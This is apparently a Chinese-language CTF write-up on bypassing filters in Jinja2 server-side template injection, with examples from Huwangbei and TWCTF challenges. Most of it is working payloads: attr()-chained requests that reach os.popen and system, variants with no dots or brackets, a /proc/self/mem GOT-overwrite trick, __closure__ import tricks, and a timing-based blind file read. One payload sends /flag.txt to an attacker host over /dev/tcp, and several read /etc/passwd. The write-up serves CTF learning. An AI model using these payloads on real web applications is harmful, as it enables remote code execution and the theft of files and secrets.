SSTI Bypass 分析

0x00前言

护网杯过去不久,realworld到来之前先来研究研究SSTI的Bypass套路

 

0x01 SSTI Bypass

首先来看一个护网杯的那道easypy,后台在输入{{config}}的时候出现回显,因此判断是SSTI

继续测试,发现其过滤了[,',_以及一些特殊的字符,像os,d等字符串,因此在一篇文章中发现如下的方法,使用attr进行绕过

http://152.136.21.148:5317/render?data={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}}&x1=__class__&x2=__base__&x3=__subclasses__

得到回显

因此只需要将[].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()转为如上的payload即可拿到flag,因此最后的payload为

{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(233)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").system("/bin/bash+-c+\"cat+/flag.txt+>+/dev/tcp/attacker_ip/8080\"")

同时,还可以使用如下的payload进行ssti

{% print ""|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(99)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)("o"+"s")|attr("popen")("cat flag.txt")|attr(request.args.re)()|safe%}&globals=__globals__&subclasses=__subclasses__&re=read&init=__init__&base=__base__&class=__class__&getitem=__getitem__

因此借这道题目来进行一下SSTI Bypass的学习

来个简易的脚本

import sys
from jinja2 import Template

template = Template("Hello {}".format(sys.argv[1] if len(sys.argv) > 1else '<yes>'))

print(template.render())

绕过 _ 符号

这个就是在护网杯的时候的两个payload,同时还有如下payload

{{(()|attr(request.args.param)|attr(request.args.param1)|attr(request.args.param2)()).pop(40)(request.args.file).read()}}&param=__class__&param1=__base__&param2=__subclasses__&file=/etc/passwd

绕过[符号

通过调用global进行命令执行

{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen('whoami').read()}}

该payload只能在python2版本下使用

绕过 . 符号

{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']['x8'])(request['args']['x9'])}}?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('whoami').read()

 

 

import 被阉割的情况

该问题出现在18年的全国大学生安全竞赛,因此可以用使用write修改got表。实际上是一个 /proc/self/mem 的内存操作方法 /proc/self/mem 是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到Python一些函数的偏移,如 system ,我们便可以通过覆写 got 表达到 getshell的目的。

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

第一个是地址偏移,第二个是fopen的偏移,我们可以通过 objdump 获取相关信息

因此可以劫持got表getshell

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /etc/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))


(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

这个太难了,立个flag,后期学

或者寻找import的简介引用, closure 这个 object 保存了参数,可以引用原生的 import

print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')

 

绕过 ( 、)、self、config

这个题目是TWCTF的题目,源码如下

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

因此利用__dict____globals__获取属性和定义域信息

payload为

url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config

获取sys

{{app.__init__.__globals__.sys.modules.app.app.__dict__}}

或者使用request来递归子属性,借用大佬的脚本进行回溯

# search.py

def search(obj, max_depth):
    
    visited_clss = []
    visited_objs = []
    
    def visit(obj, path='obj', depth=0):
        yield path, obj
        
        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)
            print(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)
        
        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in  ('__globals__', '__class__', '__self__',
                                 '__weakref__', '__objclass__', '__module__'):
                    continue
            attr = getattr(obj, name)
            yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
        
        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass
        
        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
            
    yield from visit(obj)

app.py

import flask
import os

from flask import request
from search import search

app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF_FLAG'

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    for path, obj in search(request, 10):
        if str(obj) == app.config['FLAG']:
            return path

if __name__ == '__main__':
    app.run(debug=True)

 

在无回显的情况下除了将flag弹回到自己的vps上面之外也可以用glzjin的利用事件盲注文件内容的方法

因此可以使用如下的方法继续判断

 c=`cut -b 5 flag`; [ $c = "{" ] && sleep 4

闭包避免了使用全局变量,此外,闭包允许将函数与其所操作的某些数据(环境)关连起来。这一点与面向对象编程是非常类似的,在面对象编程中,对象允许我们将某些数据(对象的属性)与一个或者多个方法相关联。 它返回的是一个由 cell 对象 组成的元组对象 ,那么就可以用来调用os方法了,因此可以使用闭包__closure__方法来引用os模块,payload如下

__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('c=`cut -b 5  /root/flag`; [ $c = \"{\" ] && sleep 3 ')

 

 

 

Reference